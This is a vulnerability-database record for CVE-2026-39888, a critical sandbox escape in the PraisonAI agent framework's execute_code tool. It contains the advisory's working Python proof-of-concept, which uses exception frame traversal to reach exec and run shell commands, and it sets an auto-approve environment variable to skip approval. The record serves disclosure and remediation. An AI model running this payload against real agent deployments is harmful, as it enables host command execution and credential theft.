{"id":"CVE-2026-39888","kind":"vulnerability","aliases":["CVE-2026-39888","GHSA-qf73-2hrx-xprp"],"related":[],"title":"PraisonAI has sandbox escape via exception frame traversal in `execute_code` (subprocess mode)","description":"## Summary\n\n`execute_code()` in `praisonaiagents.tools.python_tools` defaults to\n`sandbox_mode=\"sandbox\"`, which runs user code in a subprocess wrapped with a\nrestricted `__builtins__` dict and an AST-based blocklist. The AST blocklist\nembedded inside the subprocess wrapper (`blocked_attrs`, line 143 of\n`python_tools.py`) contains only 11 attribute names — a strict subset of the 30+\nnames blocked in the direct-execution path. The four attributes that form a\nframe-traversal chain out of the sandbox are all absent from the subprocess list:\n\n| Attribute | In subprocess `blocked_attrs` | In direct-mode `_blocked_attrs` |\n|---|---|---|\n| `__traceback__` | **NO** | YES |\n| `tb_frame` | **NO** | YES |\n| `f_back` | **NO** | YES |\n| `f_builtins` | **NO** | YES |\n\nChaining these attributes through a caught exception exposes the real Python\n`builtins` dict of the subprocess wrapper frame, from which `exec` can be\nretrieved and called under a non-blocked variable name — bypassing every\nremaining security layer.\n\n**Tested and confirmed on praisonaiagents 1.5.113 (latest), Python 3.10.**\n\n---\n\n## Severity\n\n**CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H — 9.9 Critical**\n\n| Vector | Value | Rationale |\n|---|---|---|\n| AV:N | Network | `execute_code` is a designated agent tool; user/LLM-supplied code reaches it over the network in all standard deployments |\n| AC:L | Low | No race conditions or special configuration required |\n| PR:L | Low | Requires ability to submit code through an agent (typical end-user privilege) |\n| UI:N | None | No victim interaction |\n| S:C | Changed | Escapes subprocess sandbox into full host process context |\n| C:H | High | Arbitrary file read, environment variable access, credential exfiltration |\n| I:H | High | Arbitrary file write, arbitrary code execution on host |\n| A:H | High | Can terminate processes, exhaust resources |\n\n---\n\n## Affected\n\n- **Package**: `praisonaiagents` (PyPI)\n- **Affected versions**: all versions shipping `sandbox_mode=\"sandbox\"` (default since introduction) through **1.5.113**\n- **Patched versions**: none at time of report\n- **File**: `praisonaiagents/tools/python_tools.py`\n\n---\n\n## Root Cause\n\n### Two separate `blocked_attrs` sets — one much weaker than the other\n\n`_validate_code_ast()` (line 39, used by direct mode) blocks 30+ attributes:\n\n```python\n# python_tools.py line 52 — direct mode (FULL list, correctly includes frame attrs)\n_blocked_attrs = frozenset({\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',   # ← present here\n    '__wrapped__', '__closure__', '__annotations__',\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← present here\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← present here\n    'co_consts', 'co_names',\n})\n```\n\nThe subprocess wrapper script written to disk (line 143) uses a separate,\n**inline** `blocked_attrs` with only 11 entries — the frame-traversal attrs are\n**missing**:\n\n```python\n# python_tools.py line 143 — subprocess wrapper (SHORT list, MISSING frame attrs)\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__'\n    # __traceback__, tb_frame, f_back, f_builtins — all absent\n}\n```\n\n### `_safe_getattr` does not protect direct dot-notation access\n\n`_safe_getattr` replaces the `getattr` builtin and blocks attribute names\nstarting with `_`. However, it is only invoked when user code explicitly calls\n`getattr(obj, name)`. Direct attribute access (`obj.attr` in source) uses\nPython's C-level `tp_getattro` slot and **never passes through `_safe_getattr`**.\nThe AST check is therefore the only barrier to direct attribute access, and it\nis insufficient.\n\n### No text-pattern blocklist in subprocess mode\n\n`_execute_code_direct` applies a text-pattern blocklist (`dangerous_patterns`)\nas a defence-in-depth layer. `_execute_code_sandboxed` has no such layer —\nonly the AST check runs.\n\n---\n\n## Proof of Concept\n\n```python\nimport os\nos.environ[\"PRAISONAI_AUTO_APPROVE\"] = \"true\"\nfrom praisonaiagents.tools.python_tools import execute_code\n\nCMD = \"id\"   # any shell command\n\npayload = f\"\"\"\ntry:\n    1/0\nexcept ZeroDivisionError as e:\n    _p = e.__traceback__.tb_frame.f_back\n    _x = _p.f_builtins[\"exec\"]\n    _x(\"import subprocess; print(subprocess.check_output({repr(CMD)}, shell=True).decode())\",\n       {{\"__builtins__\": _p.f_builtins}})\n\"\"\"\n\nresult = execute_code(code=payload)\nprint(result[\"stdout\"])\n```\n\n**Output (praisonaiagents 1.5.113, Python 3.10):**\n\n```\nuid=1000(user) gid=1000(user) groups=1000(user)\n```\n<img width=\"775\" height=\"429\" alt=\"image\" src=\"https://github.com/user-attachments/assets/a110b596-45be-431c-bf5a-9a6b0901bcaf\" />\n\n**Why each defence is bypassed:**\n\n| Layer | Status | Reason |\n|---|---|---|\n| AST `blocked_attrs` | **BYPASSED** | `__traceback__`, `tb_frame`, `f_back`, `f_builtins` not in 11-item subprocess list |\n| `_safe_getattr` | **BYPASSED** | Only intercepts `getattr()` calls; dot notation uses C-level `tp_getattro` |\n| `exec`-by-name AST check | **BYPASSED** | Called as `_x(...)` — `func.id` is `'_x'`, not `'exec'` |\n| Text-pattern blocklist | **N/A** | Does not exist in subprocess mode |\n| Subprocess process isolation | **BYPASSED** | Frame traversal reaches real builtins *within* the subprocess |\n\n---\n\n## Attack Chain\n\n```\nexecute_code(payload)\n  └─ _execute_code_sandboxed()\n       └─ subprocess: exec(user_code, safe_globals)\n            └─ user_code raises ZeroDivisionError\n                 └─ e.__traceback__           ← __traceback__ not in blocked_attrs\n                      └─ .tb_frame           ← tb_frame not in blocked_attrs\n                           └─ .f_back        ← f_back not in blocked_attrs\n                                └─ .f_builtins  ← f_builtins not in blocked_attrs\n                                     └─ [\"exec\"]  ← dict subscript, no attr check\n                                          └─ _x(\"import subprocess; ...\")\n                                               └─ RCE\n```\n\n---\n\n## Impact\n\nAny application that exposes `execute_code` to user-controlled or\nLLM-generated input — including all standard PraisonAI agent deployments — is\nfully compromised by a single API call:\n\n- **Arbitrary command execution** on the host (in the subprocess user context)\n- **File system read/write** — source code, credentials, `.env` files, SSH keys\n- **Environment variable exfiltration** — API keys, secrets passed to the agent process\n- **Network access** — outbound connections to attacker infrastructure unaffected by `env={}`\n- **Lateral movement** — the subprocess inherits the host's network stack and filesystem\n\n---\n\n## Suggested Fix\n\n### 1. Merge `blocked_attrs` into a single shared constant\n\nThe subprocess wrapper must use the same attribute blocklist as the direct mode.\nReplace the inline `blocked_attrs` in the wrapper template with the full set:\n\n```python\n# Add to subprocess wrapper template (python_tools.py ~line 143):\nblocked_attrs = {\n    '__subclasses__', '__bases__', '__mro__', '__globals__',\n    '__code__', '__class__', '__dict__', '__builtins__',\n    '__import__', '__loader__', '__spec__', '__init_subclass__',\n    '__set_name__', '__reduce__', '__reduce_ex__',\n    '__traceback__', '__qualname__', '__module__',    # ← ADD\n    '__wrapped__', '__closure__', '__annotations__',  # ← ADD\n    'gi_frame', 'gi_code', 'cr_frame', 'cr_code',    # ← ADD\n    'ag_frame', 'ag_code', 'tb_frame', 'tb_next',    # ← ADD\n    'f_globals', 'f_locals', 'f_builtins', 'f_code', # ← ADD\n    'co_consts', 'co_names',                          # ← ADD\n}\n```\n\n### 2. Block all `_`-prefixed attribute access at AST level\n\n`_safe_getattr` only covers `getattr()` calls. Add a blanket AST rule to block\nany `ast.Attribute` node whose `attr` starts with `_`:\n\n```python\nif isinstance(node, ast.Attribute) and node.attr.startswith('_'):\n    return f\"Access to private attribute '{node.attr}' is restricted\"\n```\n\n### 3. Add the text-pattern layer to subprocess mode\n\nMirror `_execute_code_direct`'s `dangerous_patterns` check in\n`_execute_code_sandboxed` as defence-in-depth.\n\n---\n\n## References\n\n- Affected file: `praisonaiagents/tools/python_tools.py` (PyPI: `praisonaiagents`)\n- CWE-693: Protection Mechanism Failure\n- CWE-657: Violation of Secure Design Principles","summary":"PraisonAI's execute_code tool runs user code in a subprocess sandbox whose AST blocklist omits frame-traversal attributes such as __traceback__, tb_frame, f_back and f_builtins. An attacker who submits code to an agent can reach the real builtins exec and run shell commands on the host.","severity":"critical","cvss":9.9,"epss":0.00504,"exploited":false,"exploited_at":null,"products":[{"name":"praisonaiagents","fixed":["1.5.115"],"affected":"<= 1.5.114","ecosystem":"pypi"},{"name":"praison praisonai","fixed":["1.5.115"],"affected":"< 1.5.115","ecosystem":"vendor"},{"via":"cpe","name":"PraisonAI","fixed":["1.5.115"],"affected":"< 1.5.115","ecosystem":"pypi"}],"ecosystems":["pypi","vendor"],"tags":["agents","ai-tooling","cwe-657","cwe-693","llm-tools","praisonai","python"],"not_affected_if":["no-execute-code-tool","trusted-input-only"],"how_to_check":"- Check the installed version with `pip show praisonaiagents`; versions up to and including `1.5.114` are listed as affected.\n- Look for calls to `execute_code` with `sandbox_mode` left at its default `sandbox` in agent code that accepts input from users or an LLM.","fix":"- `praisonaiagents` (PyPI): move to `1.5.115`.","status":"open","published_at":"2026-04-08T19:17:28+00:00","first_seen_at":"2026-11-16T16:03:23+00:00","triaged_at":"2026-11-16T16:04:40+00:00","updated_at":"2026-11-16T16:08:50+00:00","category":"ai-tooling","confidence":0.8,"triage":{"at":"2026-11-16T16:04:40Z","model":"claude-haiku-5-5","output":{"fix":"- `praisonaiagents` (PyPI): move to `1.5.115`.","reach":"network","title":"PraisonAI: sandboxed code execution escapes via exception frame traversal","impact":"high","summary":"PraisonAI's execute_code tool runs user code in a subprocess sandbox whose AST blocklist omits frame-traversal attributes such as __traceback__, tb_frame, f_back and f_builtins. An attacker who submits code to an agent can reach the real builtins exec and run shell commands on the host.","audience":"developers","category":"ai-tooling","nicknames":[],"who_cares":["python","praisonai","agents","llm-tools"],"confidence":0.8,"fix_status":"available","needs_auth":"unknown","worst_case":"Attacker runs shell commands on the host and reads secrets and files","analyst_note":"Confirm the fixed version 1.5.115 against the GHSA-qf73-2hrx-xprp advisory, since the maintainer text says no patch existed at report time.","how_to_check":"- Check the installed version with `pip show praisonaiagents`; versions up to and including `1.5.114` are listed as affected.\n- Look for calls to `execute_code` with `sandbox_mode` left at its default `sandbox` in agent code that accepts input from users or an LLM.","plain_action":"","product_name":"","needs_analyst":true,"not_affected_if":["no-execute-code-tool","trusted-input-only"],"who_is_affected":"Any application that gives an agent the praisonaiagents execute_code tool and lets users or an LLM supply the code it runs is exposed, because the default sandbox mode can be escaped with one submitted snippet. Teams that do not use execute_code, or that run it with sandbox mode disabled and no untrusted input, can skip it.","user_interaction":"no","product_ecosystem":"","needs_special_setup":"no","severity_if_unknown":"critical"},"cost_usd":0.001148,"input_tokens":8165,"output_tokens":663,"severity_before":"critical"},"analyst_status":null,"analyst_note":null,"search":"'-2026':15A,23A '-39888':16A,24A '-657':34B '-693':36B '/av':253C '1.5.113':246C,377C '11':139C,502C '143':134C,493C,514C '2hrx':20A '3.1':252C '3.10':249C '30':147C,410C '39':404C '52':415C '9.9':262C 'abil':302C 'absent':172C,543C 'ac':288C 'access':339C,553C,581C,611C 'affect':361C,365C 'ag':461C,463C 'agent':29B,79B,275C,308C 'ai':31B 'ai-tool':30B 'annot':452C 'arbitrari':334C,345C,348C 'ast':55B,120C,124C,402C,601C 'ast-bas':119C 'attack':73B 'attr':132C,181C,187C,392C,423C,425C,499C,508C,521C,523C 'attribut':61B,140C,158C,177C,205C,411C,562C,580C,610C 'av':267C 'back':68B,196C,539C 'barrier':607C 'base':121C,428C,525C 'block':131C,149C,180C,186C,233C,391C,409C,424C,498C,522C,561C 'blocklist':56B,122C,125C 'builtin':71B,84B,115C,200C,214C,434C,476C,531C,541C,559C 'bypass':236C 'c':321C,331C,589C 'c-level':588C 'c/c':258C 'call':228C,575C 'caught':208C 'caus':388C 'chain':165C,203C 'chang':322C 'check':602C 'class':432C,529C 'closur':451C 'co':481C,483C 'code':11A,45B,49B,76B,95C,107C,271C,278C,305C,349C,401C,431C,456C,460C,464C,478C,528C,573C 'command':89B 'condit':293C 'configur':296C 'confirm':243C 'const':482C 'contain':137C 'context':330C 'correct':420C 'cr':457C,459C 'credenti':340C 'critic':263C 'cve':14A,22A 'cvss':251C 'cwe':33B,35B 'default':99C,373C 'deploy':287C 'design':274C 'dict':116C,215C,433C,530C 'direct':153C,184C,407C,416C,549C,579C,609C 'direct-execut':152C 'direct-mod':183C 'disk':491C 'dot':551C 'dot-not':550C 'embed':126C 'end':311C 'end-us':310C 'entri':503C 'environ':337C 'escap':4A,323C 'everi':237C 'ex':444C 'except':6A,209C 'exec':85B,223C 'execut':10A,44B,94C,154C,270C,350C 'exfiltr':341C 'exhaust':359C 'explicit':574C 'expos':210C 'f':67B,70B,195C,199C,471C,473C,475C,477C,538C,540C 'file':335C,346C,385C 'form':160C 'four':157C 'frame':7A,59B,66B,163C,192C,220C,422C,454C,458C,462C,466C,506C,520C,537C 'frame-travers':58B,162C,505C 'frozenset':426C 'full':327C,418C 'getattr':545C,555C,558C,576C,599C 'getattro':592C 'ghsa':18A 'ghsa-qf73-2hrx-xprp':17A 'gi':453C,455C 'global':430C,472C,527C 'h':261C,332C,343C,354C 'h/a':260C 'h/i':259C 'high':333C,344C,355C 'host':92B,328C,352C 'howev':566C 'import':435C,532C 'includ':421C 'init':438C 'inlin':497C 'insid':127C 'insuffici':615C 'interact':319C 'introduct':375C 'invok':570C 'l':289C,299C 'l/pr':255C 'l/ui':256C 'latest':247C 'layer':240C 'level':590C 'line':133C,403C,414C,492C,513C 'list':176C,419C,518C 'llm':38B 'llm-tool':37B 'loader':436C,533C 'local':474C 'low':290C,300C 'miss':510C,519C 'mode':13A,102C,185C,371C,408C,417C 'modul':447C 'mro':429C,526C 'much':395C 'n':268C,315C 'n/ac':254C 'n/s':257C 'name':141C,148C,235C,441C,484C,563C,578C 'network':269C,283C 'never':595C 'next':468C 'non':232C 'non-block':231C 'none':316C,380C 'notat':552C 'obj':577C 'obj.attr':582C 'omit':57B 'one':394C 'packag':362C 'pass':596C 'patch':378C 'path':155C 'pr':298C 'praison':26A 'praisonai':1A,27A,28A,40B,42B 'praisonaiag':245C,363C 'praisonaiagents':25A 'praisonaiagents.tools.python':97C 'praisonaiagents/tools/python_tools.py':386C 'present':448C,469C,479C 'privileg':313C 'process':329C,358C 'protect':548C 'pypi':364C 'python':41B,213C,248C,412C,511C,586C 'python_tools.py':136C,413C,512C 'qf73':19A 'qualnam':446C 'race':292C 'rational':266C 'reach':81B,279C 'read':336C 'real':83B,212C 'reduc':442C,443C 'remain':238C 'replac':556C 'report':384C 'requir':297C,301C 'resourc':360C 'restrict':114C 'retriev':226C 'root':387C 'run':47B,87B,105C 'safe':544C,554C,598C 'sandbox':3A,53B,101C,103C,169C,325C,370C,372C 'script':488C 'secur':239C 'separ':390C,496C 'set':393C,440C 'sever':250C 'shell':88B 'ship':369C 'short':517C 'sinc':374C 'slot':593C 'sourc':584C 'spec':437C,534C 'special':295C 'standard':286C 'start':564C 'strict':143C 'subclass':427C,439C,524C 'submit':75B,304C 'subprocess':12A,52B,110C,129C,175C,179C,218C,324C,486C,515C 'subset':144C 'summari':93C 'tb':65B,191C,465C,467C,536C 'termin':357C 'test':241C 'therefor':604C 'time':382C 'tool':32B,39B,46B,98C,276C 'tp':591C 'traceback':64B,188C,445C,535C 'travers':8A,60B,164C,507C 'two':389C 'typic':309C 'ui':314C 'use':405C,494C,585C 'user':48B,106C,312C,572C 'user/llm-supplied':277C 'valid':400C 'valu':265C 'variabl':234C,338C 'vector':264C 'version':366C,368C,379C 'via':5A 'victim':318C 'weaker':396C 'whose':54B 'wrap':111C,450C 'wrapper':130C,219C,487C,516C 'write':347C 'written':489C 'xprp':21A 'yes':190C,194C,198C,202C","nicknames":[],"mitigations":[],"who_affected":"Any application that gives an agent the praisonaiagents execute_code tool and lets users or an LLM supply the code it runs is exposed, because the default sandbox mode can be escaped with one submitted snippet. Teams that do not use execute_code, or that run it with sandbox mode disabled and no untrusted input, can skip it.","tier":"B","verified":{},"analyst_revisit_at":null,"fix_status":"available","audience":"developers","plain_action":null,"pkeys":["praisonai","praisonaiagents","praisonpraisonai"],"ptokens":["praison","praisonai","praisonaiagents"],"labels":["agents","aitooling","critical","cwe657","cwe693","llmtools","praisonai","pypi","python","vendor"],"campaign_type":null,"search_a":"'-2026':15A,23A '-39888':16A,24A '2hrx':20A 'code':11A 'cve':14A,22A 'escap':4A 'except':6A 'execut':10A 'frame':7A 'ghsa':18A 'ghsa-qf73-2hrx-xprp':17A 'mode':13A 'praison':26A 'praisonai':1A,27A,28A 'praisonaiagents':25A 'qf73':19A 'sandbox':3A 'subprocess':12A 'travers':8A 'via':5A 'xprp':21A","search_b":"'-657':34B '-693':36B 'agent':29B,79B 'ai':31B 'ai-tool':30B 'ast':55B 'attack':73B 'attribut':61B 'back':68B 'blocklist':56B 'builtin':71B,84B 'code':45B,49B,76B 'command':89B 'cwe':33B,35B 'exec':85B 'execut':44B 'f':67B,70B 'frame':59B,66B 'frame-travers':58B 'host':92B 'llm':38B 'llm-tool':37B 'omit':57B 'praisonai':40B,42B 'python':41B 'reach':81B 'real':83B 'run':47B,87B 'sandbox':53B 'shell':88B 'submit':75B 'subprocess':52B 'tb':65B 'tool':32B,39B,46B 'traceback':64B 'travers':60B 'user':48B 'whose':54B","search_c":"'/av':253C '1.5.113':246C,377C '11':139C,502C '143':134C,493C,514C '3.1':252C '3.10':249C '30':147C,410C '39':404C '52':415C '9.9':262C 'abil':302C 'absent':172C,543C 'ac':288C 'access':339C,553C,581C,611C 'affect':361C,365C 'ag':461C,463C 'agent':275C,308C 'annot':452C 'arbitrari':334C,345C,348C 'ast':120C,124C,402C,601C 'ast-bas':119C 'attr':132C,181C,187C,392C,423C,425C,499C,508C,521C,523C 'attribut':140C,158C,177C,205C,411C,562C,580C,610C 'av':267C 'back':196C,539C 'barrier':607C 'base':121C,428C,525C 'block':131C,149C,180C,186C,233C,391C,409C,424C,498C,522C,561C 'blocklist':122C,125C 'builtin':115C,200C,214C,434C,476C,531C,541C,559C 'bypass':236C 'c':321C,331C,589C 'c-level':588C 'c/c':258C 'call':228C,575C 'caught':208C 'caus':388C 'chain':165C,203C 'chang':322C 'check':602C 'class':432C,529C 'closur':451C 'co':481C,483C 'code':95C,107C,271C,278C,305C,349C,401C,431C,456C,460C,464C,478C,528C,573C 'condit':293C 'configur':296C 'confirm':243C 'const':482C 'contain':137C 'context':330C 'correct':420C 'cr':457C,459C 'credenti':340C 'critic':263C 'cvss':251C 'default':99C,373C 'deploy':287C 'design':274C 'dict':116C,215C,433C,530C 'direct':153C,184C,407C,416C,549C,579C,609C 'direct-execut':152C 'direct-mod':183C 'disk':491C 'dot':551C 'dot-not':550C 'embed':126C 'end':311C 'end-us':310C 'entri':503C 'environ':337C 'escap':323C 'everi':237C 'ex':444C 'except':209C 'exec':223C 'execut':94C,154C,270C,350C 'exfiltr':341C 'exhaust':359C 'explicit':574C 'expos':210C 'f':195C,199C,471C,473C,475C,477C,538C,540C 'file':335C,346C,385C 'form':160C 'four':157C 'frame':163C,192C,220C,422C,454C,458C,462C,466C,506C,520C,537C 'frame-travers':162C,505C 'frozenset':426C 'full':327C,418C 'getattr':545C,555C,558C,576C,599C 'getattro':592C 'gi':453C,455C 'global':430C,472C,527C 'h':261C,332C,343C,354C 'h/a':260C 'h/i':259C 'high':333C,344C,355C 'host':328C,352C 'howev':566C 'import':435C,532C 'includ':421C 'init':438C 'inlin':497C 'insid':127C 'insuffici':615C 'interact':319C 'introduct':375C 'invok':570C 'l':289C,299C 'l/pr':255C 'l/ui':256C 'latest':247C 'layer':240C 'level':590C 'line':133C,403C,414C,492C,513C 'list':176C,419C,518C 'loader':436C,533C 'local':474C 'low':290C,300C 'miss':510C,519C 'mode':102C,185C,371C,408C,417C 'modul':447C 'mro':429C,526C 'much':395C 'n':268C,315C 'n/ac':254C 'n/s':257C 'name':141C,148C,235C,441C,484C,563C,578C 'network':269C,283C 'never':595C 'next':468C 'non':232C 'non-block':231C 'none':316C,380C 'notat':552C 'obj':577C 'obj.attr':582C 'one':394C 'packag':362C 'pass':596C 'patch':378C 'path':155C 'pr':298C 'praisonaiag':245C,363C 'praisonaiagents.tools.python':97C 'praisonaiagents/tools/python_tools.py':386C 'present':448C,469C,479C 'privileg':313C 'process':329C,358C 'protect':548C 'pypi':364C 'python':213C,248C,412C,511C,586C 'python_tools.py':136C,413C,512C 'qualnam':446C 'race':292C 'rational':266C 'reach':279C 'read':336C 'real':212C 'reduc':442C,443C 'remain':238C 'replac':556C 'report':384C 'requir':297C,301C 'resourc':360C 'restrict':114C 'retriev':226C 'root':387C 'run':105C 'safe':544C,554C,598C 'sandbox':101C,103C,169C,325C,370C,372C 'script':488C 'secur':239C 'separ':390C,496C 'set':393C,440C 'sever':250C 'ship':369C 'short':517C 'sinc':374C 'slot':593C 'sourc':584C 'spec':437C,534C 'special':295C 'standard':286C 'start':564C 'strict':143C 'subclass':427C,439C,524C 'submit':304C 'subprocess':110C,129C,175C,179C,218C,324C,486C,515C 'subset':144C 'summari':93C 'tb':191C,465C,467C,536C 'termin':357C 'test':241C 'therefor':604C 'time':382C 'tool':98C,276C 'tp':591C 'traceback':188C,445C,535C 'travers':164C,507C 'two':389C 'typic':309C 'ui':314C 'use':405C,494C,585C 'user':106C,312C,572C 'user/llm-supplied':277C 'valid':400C 'valu':265C 'variabl':234C,338C 'vector':264C 'version':366C,368C,379C 'victim':318C 'weaker':396C 'wrap':111C,450C 'wrapper':130C,219C,487C,516C 'write':347C 'written':489C 'yes':190C,194C,198C,202C","cause_entry":null,"cause_path":null,"disclosures_checked_at":null,"first_public_at":"2026-04-07T20:48:08+00:00","kev":null,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","cvss_by":"GitHub","poc_count":0,"sources":[{"source":"ghsa","external_id":"GHSA-qf73-2hrx-xprp","url":"https://github.com/advisories/GHSA-qf73-2hrx-xprp","severity":"critical","published_at":"2026-04-08T19:17:28+00:00","modified_at":"2026-11-16T16:00:45+00:00","first_seen_at":"2026-11-16T16:03:23+00:00","fetched_at":"2026-11-16T16:07:02+00:00","note":null},{"source":"nvd","external_id":"CVE-2026-39888","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-39888","severity":null,"published_at":"2026-04-08T21:17:00+00:00","modified_at":"2026-07-24T21:10:00+00:00","first_seen_at":"2026-11-16T16:08:50+00:00","fetched_at":"2026-11-16T16:08:50+00:00","note":null}],"documents":[{"id":170870,"url":"https://api.github.com/repos/MervinPraison/PraisonAI/security-advisories/GHSA-qf73-2hrx-xprp","title":"Maintainer's advisory: api.github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":null,"relation":"advisory","confidence":null,"note":"Maintainer's advisory: api.github.com"},{"id":170871,"url":"https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qf73-2hrx-xprp","title":"Maintainer's advisory: github.com","kind":"vendor","source":"ghsa","publisher":"vendor","text":null,"published_at":"2026-04-07T20:48:08+00:00","relation":"advisory","confidence":null,"note":"Maintainer's advisory: github.com"}],"disclosures":[],"exploit_sources":[{"type":"epss","score":0.00504,"url":"https://api.first.org/data/v1/epss?cve=CVE-2026-39888"}],"notice":"Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai"}